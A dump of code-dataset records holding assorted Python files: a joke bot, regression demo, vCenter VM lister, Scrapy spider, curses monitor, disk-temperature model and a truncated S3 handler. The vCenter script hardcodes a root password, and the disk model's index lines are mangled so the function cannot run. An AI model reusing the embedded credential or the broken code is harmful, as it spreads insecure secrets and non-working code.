bot.say(joke)\n else:\n bot.say('Please leave the mothers out of it.')\n \n\ndef getJoke():\n url = 'http://api.yomomma.info'\n page = requests.get(url)\n result = page.content\n jsonjoke = json.loads(result)\n joke = jsonjoke['joke']\n return joke\n","sub_path":"urmom.py","file_name":"urmom.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"409072591","text":"import matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.preprocessing import PolynomialFeatures\nfrom sklearn.linear_model import LinearRegression, Ridge\nfrom sklearn.pipeline import Pipeline\nimport numpy as np\n\n# We will create some x-values and randomly choose some as data points\nX = np.linspace(0, 10, 100)\n# We are fixing the random number seed for consistency\nrn = np.random.RandomState(0)\n# Shuffle the data for variety\nrn.shuffle(X)\n# Grab the first 30 of our shuffled points and sort them for plotting\nX = np.sort(X[:30])\n# Our output will be a quadratic function\ny = X**2\n# We will add some variance to the data so that it's more interesting\ny = y + (((np.random.rand(30) * 2) - 1) * 30)\n\n# Pipeline lets us setup a fixed number of steps for our modeling\nmodel = Pipeline([('poly', PolynomialFeatures(degree=6)), \\\n('linear', LinearRegression(fit_intercept=False))])\nregModel = Pipeline([('poly', PolynomialFeatures(degree=6)), \\\n('ridge', Ridge(alpha=5.0))])\n# Now we train on our data\nmodel = model.fit(X[:, np.newaxis], y)\nregModel = regModel.fit(X[:, np.newaxis], y)\n# Now we pridict\nX_plot = np.linspace(0, 10, 100)\nX_plot = X_plot[:, np.newaxis]\ny_plot = model.predict(X_plot)\nyReg_plot = regModel.predict(X_plot)\n\n# Plot data\nsns.set_style(\"darkgrid\")\nplt.plot(X_plot, y_plot, color='black')\nplt.plot(X_plot, yReg_plot, color='red')\nplt.scatter(X, y, marker='o')\nplt.xticks(())\nplt.yticks(())\nplt.tight_layout()\nplt.show()\n","sub_path":"code/overview/regularization/regularization_ridge.py","file_name":"regularization_ridge.py","file_ext":"py","file_size_in_byte":1450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"614851855","text":"from pyVim.connect import SmartConnect\nfrom pyVmomi import vim\n\n\ndef main():\n service_instance = SmartConnect(host=\"10.144.208.13\", user=\"root\", pwd=\"PE3h3r$!\", disableSslCertValidation=True)\n\n print(\"ESXi/vCenter Time\")\n print(\" - %s\" % service_instance.CurrentTime())\n content = service_instance.RetrieveServiceContent()\n container = content.rootFolder\n\n view_type = [vim.VirtualMachine]\n recursive = True\n\n container_view = content.viewManager.CreateContainerView(\n container, view_type, recursive\n )\n vm_list = container_view.view\n\n print(\"VM List:\")\n for vm in vm_list:\n print(\" - \" + vm.name)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"python_correction_files/0_vm_list.py","file_name":"0_vm_list.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"510473033","text":"# -*- coding: utf-8 -*-\nimport re\n\nfrom scrapy.spiders import CrawlSpider, Request\n\nfrom SpiderOne.items import SpideroneItem\n\n\nclass TestoneSpider(CrawlSpider):\n name = \"testone\"\n # allowed_domains = [\"http://journals.plos.org/plosone/\"]\n\n count = 1 # article count\n start_urls = ['http://journals.plos.org/plosone/browse/']\n\n def parse_start_url(self, response):\n # call parse_page for start url\n print(response.url + \"这是response.url的内容\")\n yield Request(response.url, callback=self.parse_page)\n\n def parse_page(self, response):\n # grab article url\n urls = response.xpath('//div[@class=\"article-block\"]//a[@class=\"article-url\"]/@href').extract()\n\n # add domain to url and call parse_item on each article url\n for url in urls:\n url = 'http://journals.plos.org' + url\n yield Request(url, callback=self.parse_item)\n\n # grab link for the next page\n next_page = response.xpath('//nav[@class=\"nav-pagination\"]//a[@id=\"nextPageLink\"]/@href').extract()\n\n # if there is a next page, follow the link and call parse_page on it\n if len(next_page) is not 0:\n next_page_url = 'http://journals.plos.org' + next_page[0].strip()\n yield Request(next_page_url, callback=self.parse_page)\n\n def parse_item(self, response):\n item = SpideroneItem()\n item['xml_url'] = response.url + \"&type=manuscript\"\n item['text_url'] = response.url\n item['subject'] = (response.xpath('//meta[@name = \"keywords\"]/@content').extract())[0]\n item['count'] = self.count\n self.count += 1\n\n # get article's abstract\n abs = \"\"\n abstract = (response.xpath('//div[@class=\"abstract toc-section\"]//p'))\n\n if len(abstract) != 0:\n for i in abstract:\n s = i.xpath('string(.)').extract()[0]\n abs = abs + str(s)\n item['abstract'] = abs\n\n # get article's introduction\n\n bac = \"\"\n background = response.xpath('//div[@class=\"article-text\"]/div[not(contains(@class,\"abstract '\n 'toc-section\"))]//a[@title=\"Background\"]//following-sibling::p|//div['\n '@class=\"article-text\"]/div[not(contains(@class,\"abstract toc-section\"))]//a['\n '@title=\"Background\"]//following-sibling::div[@class=\"section toc-section\"]/p')\n if len(background) != 0:\n for i in background:\n s = i.xpath('string(.)').extract()[0]\n bac = bac + str(s)\n\n intr = \"\"\n introduction = response.xpath('//div[@class=\"article-text\"]/div[not(contains(@class,\"abstract '\n 'toc-section\"))]//a[@title=\"Introduction\"]//following-sibling::p|//div['\n '@class=\"article-text\"]/div[not(contains(@class,\"abstract toc-section\"))]//a['\n '@title=\"Introduction\"]//following-sibling::div[@class=\"section '\n 'toc-section\"]/p')\n if len(introduction) != 0:\n for i in introduction:\n s = i.xpath('string(.)').extract()[0]\n intr = intr + str(s)\n\n item['introduction'] = intr + bac\n\n # get article's methods\n # online = \"\"\n # onlinemethods = (response.xpath('//div[@class=\"article-text\"]/div[not(contains(@class,\"abstract toc-section\"))]//a['\n # '@title=\"Online methods\"]/following-sibling::p|//div[@class=\"article-text\"]/div[not('\n # 'contains(@class,\"abstract toc-section\"))]//a['\n # '@title=\"Online methods\"]//following-sibling::div[@class=\"section toc-section\"]/p'))\n # if len(onlinemethods) != 0:\n # for i in onlinemethods:\n # s = i.xpath('string(.)').extract()[0]\n # online = online + str(s)\n #\n\n ma1 = \"\"\n Materials1 = (response.xpath('//div[@class=\"article-text\"]/div[not(contains(@class,\"abstract '\n 'toc-section\"))]//a[contains(@title,\"and method\")]/following-sibling::p|//div['\n '@class=\"article-text\"]/div[not(contains(@class,\"abstract toc-section\"))]//a['\n 'contains(@title,\"and method\")]//following-sibling::div[@class=\"section '\n 'toc-section\"]/p'))\n if len(Materials1) != 0:\n for i in Materials1:\n s = i.xpath('string(.)').extract()[0]\n ma1 = ma1 + str(s)\n mat = \"\"\n Materials = (response.xpath('//div[@class=\"article-text\"]/div[not(contains(@class,\"abstract '\n 'toc-section\"))]//a[contains(@title,\"and methods\")]/following-sibling::p|//div['\n '@class=\"article-text\"]/div[not(contains(@class,\"abstract toc-section\"))]//a['\n 'contains(@title,\"and methods\")]//following-sibling::div[@class=\"section '\n 'toc-section\"]/p'))\n if len(Materials) != 0:\n for i in Materials:\n s = i.xpath('string(.)').extract()[0]\n mat = mat + str(s)\n\n mets = \"\"\n methods = (response.xpath('//div[@class=\"article-text\"]/div[not(contains(@class,\"abstract toc-section\"))]//a['\n 'contains(@title,\"Methods\") '\n ']/following-sibling::p|//div[@class=\"article-text\"]/div[not('\n 'contains(@class,\"abstract toc-section\"))]//a['\n 'contains(@title,\"Methods\")]//following-sibling::div[@class=\"section toc-section\"]/p'))\n if len(methods) != 0:\n for i in methods:\n s = i.xpath('string(.)').extract()[0]\n mets = mets + str(s)\n item['methods'] = mets + mat + ma1\n # + mat\n # get article's results\n resul = \"\"\n results = (response.xpath('//div[@class=\"article-text\"]/div[not(contains(@class,\"abstract '\n 'toc-section\"))]//a[@title=\"Results\"]/following-sibling::p|//div['\n '@class=\"article-text\"]/div[not(contains(@class,\"abstract toc-section\"))]//a['\n '@title=\"Results\"]//following-sibling::div[@class=\"section toc-section\"]/p'))\n if len(results) != 0:\n for i in results:\n s = i.xpath('string(.)').extract()[0]\n resul = resul + str(s)\n item['results'] = resul\n\n # get article's discussion and conclusions\n conc = \"\"\n conclusions = (response.xpath('//div[@class=\"article-text\"]/div[not(contains(@class,\"abstract '\n 'toc-section\"))]//a[contains(@title,\"Conclusions\")]/following-sibling::p|//div['\n '@class=\"article-text\"]/div[not(contains(@class,\"abstract toc-section\"))]//a['\n 'contains(@title,\"Conclusion\")]//following-sibling::div[@class=\"section toc-section\"]/p'))\n if len(conclusions) != 0:\n for i in conclusions:\n s = i.xpath('string(.)').extract()[0]\n conc = conc + str(s)\n\n dis = \"\"\n discussion = (response.xpath('//div[@class=\"article-text\"]/div[not(contains(@class,\"abstract '\n 'toc-section\"))]//a[contains(@title,\"Discussion\")]/following-sibling::p|//div['\n '@class=\"article-text\"]/div[not(contains(@class,\"abstract toc-section\"))]//a['\n 'contains(@title,\"Discussion\")]//following-sibling::div[@class=\"section toc-section\"]/p'))\n if len(discussion) != 0:\n for i in discussion:\n s = i.xpath('string(.)').extract()[0]\n dis = dis + str(s)\n\n item['discussion'] = dis + conc\n\n # clean up text\n for key in item.keys():\n if key == 'count' or key == 'text_url':\n continue\n #\n # remove tags, dangling whitespace, and citations\n # fix ampersand characters and spaces before periods\n item[key] = re.sub('\\|', '', item[key])\n item[key] = re.sub('\\n','',item[key])\n item[key] = item[key].strip()\n # item[key] = item[key].replace('&', '&')\n # item[key] = re.sub('\\[.*\\]', '', item[key])\n # item[key] = re.sub(' \\.', '.', item[key])\n\n return item\n\n","sub_path":"SpiderOne/spiders/testone.py","file_name":"testone.py","file_ext":"py","file_size_in_byte":8753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"29477234","text":"#! python 3\r\n#downloading webpages and files form internet\r\n#requests module helps in downloading foles form the internet .\r\n\r\nimport requests\r\nr=requests.get('https://automatetheboringstuff.com/files/rj.txt') #Takes a string of url to download . It returns a responst object.\r\ntype(r) # request.models.Response . r is a response type object. It contains the response the webserver gave to request\r\nr.raise_for_status() #raise_for_status raises exception if error downloading the file\r\nplay=open('shakespear.txt','wb') # open file in write binary mode 'wb' for unicode encoding \r\nfor chunck in r.iter_content(100000): #iter_content method returns \"chuncks\" of the content on each iteration.Chunck is of byte datatype\r\n play.write(chunck) #write method writes the chunck data in the file created in open() \r\n\r\nplay.close()\r\n","sub_path":"download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"126754090","text":"# !/usr/bin/env python\n# -*- coding:utf-8 --*-\n# version:3.6.4\n# author:yexin\n'''启动程序'''\nimport os,sys\nBASENAME = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nsys.path.append(BASENAME)\n\nfrom core import create_dir\n# from core import re_url\n\nif __name__ == '__main__':\n start_run = create_dir.create_dir() # 调用目录创建程序\n start_run.create_first_dir() # 创建一级目录\n","sub_path":"xwiki/bin/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"652300712","text":"#!/usr/bin/python3\n#\n# zMonitor - Client\n# Asynchronous python based REST-API client\n#\n# 2016 - Armas Spann\n###\nimport curses, time, threading, urllib3, json\n\n# api server settings\napi_host = 'localhost'\napi_port = '23051'\n\n## dummy class for line helper\nclass Dummy:pass\ngvar = Dummy()\ngvar.line = 0\n\n# line helper (incrementor)\ndef line(i=1, force=False):\n gvar.line += i\n if (force):\n gvar.line = i\n return gvar.line\n\n# wrapper for the api-call (REST)\ndef api_call(module, args=None, host=None):\n http = urllib3.PoolManager()\n http_url = api_host+':'+api_port+'/v1/'+module\n if (args):\n http_url += '?args=' + args\n elif (host):\n http_url += '?host=' + host\n try:\n http_data = http.request('GET',http_url).data.decode('utf-8')\n return json.loads(http_data)\n except:\n return json.loads('{\"error\":true,\"status\":500}')\n\ndef api_refresh(screen):\n while 1:\n # clear the screen and set initital line (1 - forced)\n screen.clear()\n screen.addstr(line(0, True), 0, '-== zMonitor ==-', curses.A_BOLD)\n line(1)\n\n ## check uptime\n result = api_call('uptime')\n screen.addstr(line(), 0, \"System info (\" + api_host + \"):\" , curses.A_BOLD)\n if (result.get('status') == 200):\n threads = 1\n uptime = result.get('data')[0]\n if (uptime.get('time')):\n screen.addstr(line(), 4, \"Time: \" + str(uptime.get('time')), curses.A_NORMAL)\n if (uptime.get('uptime')):\n screen.addstr(line(), 4, \"Uptime: \" + str(uptime.get('uptime')), curses.A_NORMAL)\n if (uptime.get('users')):\n screen.addstr(line(), 4, \"Users: \" + str(uptime.get('users')) + ' (loggedin)', curses.A_NORMAL)\n if (uptime.get('threads')):\n threads = uptime.get('threads')\n screen.addstr(line(), 4, \"CPUs: \" + str(uptime.get('threads')), curses.A_NORMAL)\n if (uptime.get('load')):\n load = uptime.get('load')\n screen.addstr(line(2), 4, \"Loads (1/5/15):\", curses.A_NORMAL)\n screen.addstr(line(), 8, \"Overall: \" + str(load.get('1min')) + '/' + str(load.get('5min')) + '/' + str(load.get('15min')), curses.A_NORMAL)\n screen.addstr(line(), 8, \"Per Core: \" + str(round(load.get('1min')/threads,2)) + '/' + str(round(load.get('5min')/threads,2)) + '/' + str(round(load.get('15min')/threads,2)), curses.A_NORMAL)\n elif (result.get('status') == 500):\n screen.addstr(line(0), 26, \"(API) error\", curses.color_pair(1))\n\n ## check temperature\n result = api_call('rpi','[\"temp\"]')\n screen.addstr(line(2), 4, \"Temp (C): \", curses.A_NORMAL)\n if (result.get('status') == 200):\n temp = result.get('data')[0]\n if (temp.get('value')):\n screen.addstr(line(0), 20, str(temp.get('value')), curses.A_NORMAL)\n else:\n screen.addstr(line(0), 20, 'n/a', curses.A_NORMAL)\n elif (result.get('status') == 500):\n screen.addstr(line(0), 26, \"(API) error\", curses.color_pair(1))\n\n ## check clock\n result = api_call('rpi','[\"arm\"]')\n screen.addstr(line(), 4, \"Clock (MHz): \", curses.A_NORMAL)\n if (result.get('status') == 200):\n clock = result.get('data')[0]\n if (clock.get('value')):\n screen.addstr(line(0), 20, str(clock.get('value')/1000000), curses.A_NORMAL)\n else:\n screen.addstr(line(0), 20, 'n/a', curses.A_NORMAL)\n elif (result.get('status') == 500):\n screen.addstr(line(0), 26, \"(API) error\", curses.color_pair(1))\n\n ## check io-operations\n result = api_call('io')\n screen.addstr(line(2), 4, \"IO operations: \", curses.A_NORMAL)\n if (result.get('status') == 200):\n iops = result.get('data')[0]\n if (iops.get('r')):\n screen.addstr(line(), 8, 'Read: ' + str(iops.get('r')) + ' B/s', curses.A_NORMAL)\n else:\n screen.addstr(line(), 8, 'Read: n/a', curses.A_NORMAL)\n if (iops.get('w')):\n screen.addstr(line(), 8, 'Write: ' + str(iops.get('w')) + ' B/s', curses.A_NORMAL)\n else:\n screen.addstr(line(), 8, 'Write: n/a', curses.A_NORMAL) \n elif (result.get('status') == 500):\n screen.addstr(line(0), 26, \"(API) error\", curses.color_pair(1))\n\n ## check heavy-log procs\n result = api_call('io', '\"heavy-load\"')\n screen.addstr(line(), 4, \"Heaviest command: \", curses.A_NORMAL)\n if (result.get('status') == 200):\n for hproc in result.get('data'):\n if hproc.get('proc') and hproc.get('load'):\n screen.addstr(line(), 8, \"'\" + str(hproc.get('proc')) + \"'\", curses.A_NORMAL)\n screen.addstr(line(0), 28, ' (' + str(hproc.get('load')) + '%)', curses.A_NORMAL)\n elif (result.get('status') == 500):\n screen.addstr(line(0), 26, \"(API) error\", curses.color_pair(1))\n\n ## check internet by pingig google dns\n result = api_call('ping', None, '\"8.8.8.8\"')\n screen.addstr(line(2), 4, \"WAN-Status: \", curses.A_NORMAL)\n if (result.get('status') == 200):\n ping = result.get('data')[0]\n if (ping):\n state = \"error\"\n color = 1\n if ping.get('alive') == True:\n state = \"available\"\n color = 2\n screen.addstr(line(0), 20, state, curses.color_pair(color))\n elif (result.get('status') == 500):\n screen.addstr(line(0), 26, \"(API) error\", curses.color_pair(1))\n\n ## check specific proc\n result = api_call('proc','{\"cmd\":\"node\"}')\n screen.addstr(line(2), 0, \"Processes:\", curses.A_NORMAL)\n if (result.get('status') == 200):\n for proc in result.get('data'):\n screen.addstr(line(), 4, str(proc.get('cmd')) + \" (\" + str(proc.get('pid')) + \")\", curses.A_NORMAL)\n #if (proc.get('args')):\n # screen.addstr(line(), 8, \"args: \" + str(proc.get('args')), curses.A_NORMAL)\n elif (result.get('status') == 500):\n screen.addstr(line(0), 26, \"(API) error\", curses.color_pair(1))\n\n # screen.addstr(line(2), 0, 'Press \"q\" to exit...', curses.A_NORMAL)\n screen.refresh()\n time.sleep(1)\n\n# initialize the curses screen\nstdscr = curses.initscr()\ncurses.noecho()\ncurses.curs_set(0)\n\n# enabeling colors\ncurses.start_color()\ncurses.init_pair(1, curses.COLOR_RED, curses.COLOR_BLACK)\ncurses.init_pair(2, curses.COLOR_GREEN, curses.COLOR_BLACK)\n\n# running main-thread\nthrMain = threading.Thread(target=api_refresh, args=(stdscr,))\nthrMain.daemon = True\nthrMain.start()\n\n# wait for key: \"q\"\nwhile 1:\n event = stdscr.getch()\n if event == ord(\"q\"):\n break\n\n# kill the curses\ncurses.nocbreak(); stdscr.keypad(0); curses.echo()\ncurses.endwin()\n","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":7115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"38821733","text":"# -*- coding: utf-8 -*-\nimport numpy as np\n############ Constants #############\n\n# Seconds in a year:\nyear = 31557600. # s\n# Astronomical unit:\nAU = 1.496e13 # cm\n# Solar mass:\nM_sun = 1.98855e33 # grams\n# Solar radius:\nR_sun = 6.957e10 # cm\n# Gravitational Constant:\nG = 6.674e-8 # cm^3/g/s^2\n# Hydrogen mass:\nm_h = 1.6737236e-24 # grams\n# Boltzmann's constant:\nk_B = 1.3806504e-16 # ergs/K\n# Steffan-Boltzmann's constant:\nsigma = 5.6704e-5 # erg cm^-2 s^-1 K^-4\n\n####################################\ndef ChambersModel(r, t, M0 = 0.1, M_s = 1., R_s = 3., T_s = 4200., \\\n s0 = 33., k0 = 3., alpha=1e-2, mu=2.4, gamma=1.4, T_e = 1380.):\n \"\"\"\n Chambers (2009) disk model\n\n Given input r (radius, in AU, can be a vector) and \n t (time, in seconds, can be a vector too), returns \n the temperature (in K), pressure (in bars) and surface \n density (in grams/cm^2) of the disk at each radius and time.\n\n\n Optional inputs:\n\n T_s: Stellar temperature (K).\n\n M0: Initial mass of the disk (in solar-mass units).\n\n R_s: Stellar radius (in solar-radii units).\n\n M_s: Stellar mass (in solar-mass units).\n\n s0: Initial radius of the disk's outer edge (AU).\n\n k0: Opacity (in cm^2/g).\n\n alpha: Viscosity parameter.\n\n mu: Mean molecular weight.\n\n gamma: Adiabatic index.\n\n T_e: Temperature of solid evaporation (K).\n\n \"\"\"\n\n Omega_0 = np.sqrt((G*(M_s*M_sun))/((s0*AU)**3))\n\n Sigma_vis = (7.*(M0*M_sun))/(10.*np.pi*((s0*AU)**2))\n\n T_vis = ((27.*k0/(64.*sigma))**(1./3.))*\\\n (((alpha*gamma*k_B)/(mu*m_h))**(1./3.))*\\\n ((Sigma_vis)**(2./3.))*\\\n ((Omega_0)**(1./3.))\n\n T_rad = ((4./7.)**(1./4.))*\\\n (((T_s*k_B*(R_s*R_sun))/(G*(M_s*M_sun)*mu*m_h))**(1./7.))*\\\n (((R_s*R_sun)/(s0*AU))**(3./7.))*\\\n T_s\n\n tau_vis = (1./(16*np.pi))*\\\n ((mu*m_h)/(alpha*gamma*k_B))*\\\n ((Omega_0*(M0*M_sun))/(Sigma_vis*T_vis))\n\n Sigma_evap = Sigma_vis*((T_vis/T_e)**(14./19.))\n\n Sigma_rad = Sigma_vis*(T_vis/T_rad)\n\n # Transition radius between inner and mid-region:\n r_e = (s0)*((Sigma_evap/Sigma_vis)**(95./63.))*\\\n (1. + ((t*year)/tau_vis))**(-19./36.)\n\n # Transition between mid-region and outer region:\n r_o = (s0)*((Sigma_rad/Sigma_vis)**(70./33.))*\\\n (1. + ((t*year)/tau_vis))**(-133./132.)\n\n # Temperature in the outer region:\n T = np.zeros(len(r))\n Sigma = np.zeros(len(r))\n P = np.zeros(len(r))\n\n idx_in = np.where(r=r_e)&(r=r_o)[0]\n\n T[idx_in] = (T_vis**(5./19.))*\\\n (T_e**(14./19.))*\\\n (r[idx_in]/s0)**(-9./38.)*\\\n ((1. + ((t*year)/tau_vis))**(-1./8.))\n\n Sigma[idx_in] = Sigma_evap*\\\n ((r[idx_in]/s0)**(-24./19.))*\\\n ((1. + ((t*year)/tau_vis)))**(-17./16.)\n\n \n T[idx_mid] = T_vis*\\\n ((r[idx_mid]/s0)**(-9./10.))*\\\n ((1. + ((t*year)/tau_vis))**(-19./40.))\n\n Sigma[idx_mid] = (Sigma_vis)*\\\n ((r[idx_mid]/s0)**(-3./5.))*\\\n ((1. + ((t*year)/tau_vis))**(-57./80.))\n\n T[idx_out] = T_rad*\\\n ((r[idx_out]/s0)**(-3./7.))\n\n Sigma[idx_out] = Sigma_rad*\\\n ((r[idx_out]/s0)**(-15./14.))*\\\n ((1. + ((t*year)/tau_vis))**(-19./16.))\n\n P = Sigma*np.sqrt((G*(M_s*M_sun)*k_B*T)/\\\n (2.*np.pi*mu*m_h*((r*AU)**3)))\n\n return T,P*1e-6,Sigma\n\ndef PowerLawProfile(r, q = 0.62, T0 = 200):\n \"\"\"\n Simple power-law temperature profile for a disk\n\n Given input r (radius, in AU, can be a vector) it \n returns temperature (in K) as a function of radius \n of the form:\n \n T = T0 * r**(-q)\n\n The values of q and T0 pre-defined are for the average \n protoplanetary disk (Andrews & Williams, 2007).\n\n Optional inputs:\n\n q: Power-law index of the profile.\n\n T0: Temperature at 1 AU.\n\n \"\"\"\n return T0*(r**(-q))\n","sub_path":"plots/chem_eq/disk_models.py","file_name":"disk_models.py","file_ext":"py","file_size_in_byte":4116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"574012264","text":"import functools\nimport hashlib\nimport itertools\nimport logging\nimport os\nimport threading\nfrom Queue import Queue\nfrom cStringIO import StringIO\nfrom contextlib import closing\nfrom datetime import datetime\nfrom httplib import IncompleteRead\nfrom os.path import join, relpath\n\nimport boto3\nfrom boto3.s3.transfer import TransferConfig, MB\nfrom botocore.exceptions import ClientError, IncompleteReadError\nfrom botocore.vendored.requests.packages.urllib3.exceptions import ProtocolError\n\nfrom source.aws.client import ReconnectingAWSClient\nfrom source.storage.io_handlers.interface import IOHandlerInterface, File, ErrorCodes\n\n\nclass S3IOHandler(IOHandlerInterface):\n def get_created_at(self, path):\n \"\"\"\n Actually is modification time\n\n @type path: C{str}\n @rtype: C{datetime}\n \"\"\"\n self.__logger.debug('Loading last modified at from path \"{}\"'.format(path))\n bucket_name, key_path = self.__split_to_bucket_and_path(path)\n client = self.__client\n try:\n key = client.get_object(Bucket=bucket_name, Key=key_path)\n except ClientError as ex:\n if ex.response['Error']['Code'] == 'NoSuchKey':\n raise LookupError('Key \"{}\" was not found in bucket \"{}\".'.format(key_path, bucket_name))\n raise\n return key['LastModified']\n\n def __init__(self, max_keys_for_list_operation=1000):\n self.__client = ReconnectingAWSClient('s3', 'us-east-1')\n self.__logger = logging.getLogger('endor.io_handler.s3')\n self.__max_keys_for_list_operation = max_keys_for_list_operation\n\n def get_hadoop_base_path(self):\n return 's3a://'\n\n def path_exists(self, path):\n \"\"\"\n Determines whether the given path exists on the storage service.\n @param path: The path to test\n @type path: C{str}\n @return: True if the path exists False otherwise\n @rtype: C{bool}\n \"\"\"\n client = self.__client\n bucket_name, key_path = self.__split_to_bucket_and_path(path)\n try:\n client.get_object(Bucket=bucket_name, Key=key_path)\n return True\n except ClientError as ex:\n if ex.response['Error']['Code'] == 'NoSuchKey':\n return False\n raise\n\n def save_raw_data(self, data, path, content_type='text/html'):\n \"\"\"\n Saves raw data on the storage service\n\n @param data: The data to save.\n @type data: C{str}\n @param path: The path on the storage service where the data should be saved.\n @type path: C{str}\n @param content_type: A standard MIME type describing the format of the object data\n @type content_type: C{str}\n \"\"\"\n client = self.__client\n self.__logger.debug('Saving to path \"{}\"'.format(path))\n bucket_name, key_path = self.__split_to_bucket_and_path(path)\n try:\n client.put_object(\n Bucket=bucket_name,\n Key=key_path,\n Body=data,\n ContentType=content_type,\n ServerSideEncryption='AES256')\n except ClientError as ex:\n if ex.response['Error']['Code'] == 'EntityTooLarge':\n raise IOError({'code': ErrorCodes.FILE_TOO_BIG})\n else:\n raise\n\n def save_raw_data_multipart(self, data, path, content_type=None):\n \"\"\"\n Saves raw data on the storage service\n\n @param data: The data to save.\n @type data: C{file}\n @param path: The path on the storage service where the data should be saved.\n @type path: C{str}\n @param content_type: A standard MIME type describing the format of the object data\n @type content_type: C{str}\n \"\"\"\n client = self.__client\n self.__logger.debug('Saving to path \"{}\" with multipart'.format(path))\n bucket_name, key_path = self.__split_to_bucket_and_path(path)\n config = TransferConfig(multipart_threshold=5 * 1024 * MB)\n extra_args = {'ServerSideEncryption': 'AES256'}\n if content_type is not None:\n extra_args['ContentType'] = content_type\n\n client.upload_fileobj(\n Bucket=bucket_name,\n Key=key_path,\n Fileobj=data,\n Config=config,\n ExtraArgs=extra_args)\n\n def load_raw_data(self, path):\n \"\"\"\n Loads raw data from the storage service.\n\n @param path: The path on the remote storage where the data should be loaded from.\n @type path: C{str}\n @return: The loaded data\n @rtype: C{str}\n @raise LookupError: When the path does not exist.\n \"\"\"\n try:\n with closing(self.open(path)) as file_handle:\n data = file_handle.read()\n data_md5 = hashlib.md5(data).hexdigest()\n self.__logger.debug('Loaded {} bytes from path \"{}\" with md5 \"{}\"'.format(len(data), path, data_md5))\n return data\n except ProtocolError as ex:\n if isinstance(ex.args[1], IncompleteRead):\n return self.load_raw_data(path)\n except IncompleteReadError:\n return self.load_raw_data(path)\n\n @staticmethod\n def __split_to_bucket_and_path(path):\n split_path = path.split('/')\n bucket_name, key_path = split_path[0], join(*split_path[1:])\n return bucket_name, key_path\n\n def list_files(self, path):\n self.__logger.debug('Listing path \"{}\"'.format(path))\n client = self.__client\n bucket_name, key_path = self.__split_to_bucket_and_path(path)\n query = join(key_path, '')\n query_len = len(query)\n\n continuation_token = None\n fetch_more_objects = True\n\n while fetch_more_objects:\n list_objects = functools.partial(client.list_objects_v2,\n Bucket=bucket_name,\n Prefix=query,\n Delimiter='/',\n MaxKeys=self.__max_keys_for_list_operation)\n\n if continuation_token is not None:\n response = list_objects(ContinuationToken=continuation_token)\n else:\n response = list_objects()\n\n if 'Contents' in response:\n keys = (File(i['Key'], i['Size']) for i in response['Contents'])\n else:\n keys = []\n\n if 'CommonPrefixes' in response:\n folders = (File(i['Prefix'], 0) for i in response['CommonPrefixes'])\n else:\n folders = []\n\n for obj in itertools.chain(keys, folders):\n result_key = obj.path[query_len:].strip('/')\n if result_key:\n yield File(join(path, result_key), obj.size)\n\n fetch_more_objects = response['IsTruncated']\n\n if fetch_more_objects:\n continuation_token = response['NextContinuationToken']\n\n def list_dir(self, path):\n return (f.path for f in self.list_files(path))\n\n def open(self, path):\n self.__logger.debug('Loading from path \"{}\"'.format(path))\n bucket_name, key_path = self.__split_to_bucket_and_path(path)\n client = self.__client\n try:\n key = client.get_object(Bucket=bucket_name, Key=key_path)\n except ClientError as ex:\n if ex.response['Error']['Code'] == 'NoSuchKey':\n raise LookupError('Key \"{}\" was not found in bucket \"{}\".'.format(key_path, bucket_name))\n raise\n\n return key['Body']\n\n def store_folder_contents(self, local_folder_path, remote_folder_path):\n exception_queue = Queue()\n s3_region = self.__client.region_name\n\n def upload_file(local_path, remote_path):\n try:\n client = boto3.client('s3', region_name=s3_region)\n bucket_name, key_path = self.__split_to_bucket_and_path(remote_path)\n with open(local_path, 'rb') as local_file:\n client.put_object(Bucket=bucket_name, Key=key_path, Body=local_file.read(),\n ServerSideEncryption='AES256')\n except Exception as ex:\n exception_queue.put(ex)\n\n upload_jobs_generator = ((join(local_folder_path, file_name), join(remote_folder_path, file_name))\n for file_name in os.listdir(local_folder_path))\n threads = []\n for local_file_path, remote_file_path in upload_jobs_generator:\n self.__logger.debug('Uploading \"{}\" to \"{}\"'.format(local_file_path, remote_file_path))\n thread = threading.Thread(target=upload_file, args=(local_file_path, remote_file_path))\n thread.start()\n threads.append(thread)\n\n for thread in threads:\n thread.join()\n\n if not exception_queue.empty():\n raise exception_queue.get()\n\n def add_public_read(self, path):\n bucket_name, key_path = self.__split_to_bucket_and_path(path)\n client = self.__client\n try:\n client.put_object_acl(Bucket=bucket_name, Key=key_path, ACL='public-read')\n except ClientError as ex:\n if ex.response['Error']['Code'] == 'NoSuchKey':\n raise LookupError('Key \"{}\" was not found in bucket \"{}\".'.format(key_path, bucket_name))\n raise\n\n def get_object_url(self, path):\n bucket_name, key_path = self.__split_to_bucket_and_path(path)\n return 'https://{bucket}.s3.amazonaws.com/{key}'.format(bucket=bucket_name, key=key_path)\n\n def copy_contents_from_remote_folder_to_remote_folder(self, source_path, target_path):\n _, source_key_path = self.__split_to_bucket_and_path(source_path)\n target_bucket_name, target_key_path = self.__split_to_bucket_and_path(target_path)\n\n source_file_paths = list(self.list_dir(source_path))\n\n if len(source_file_paths) == 0:\n return 0\n\n client = self.__client\n\n for single_source_file_path in source_file_paths:\n bucket_name, key_path = self.__split_to_bucket_and_path(single_source_file_path)\n single_target_key_path = join(target_key_path, relpath(key_path, source_key_path))\n client.copy({'Bucket': bucket_name, 'Key': key_path}, target_bucket_name, single_target_key_path,\n ExtraArgs={\n 'ServerSideEncryption': 'AES256'\n })\n\n return len(source_file_paths)\n\n def download_fileobj(self, remote_path, file_like):\n bucket_name, key_path = 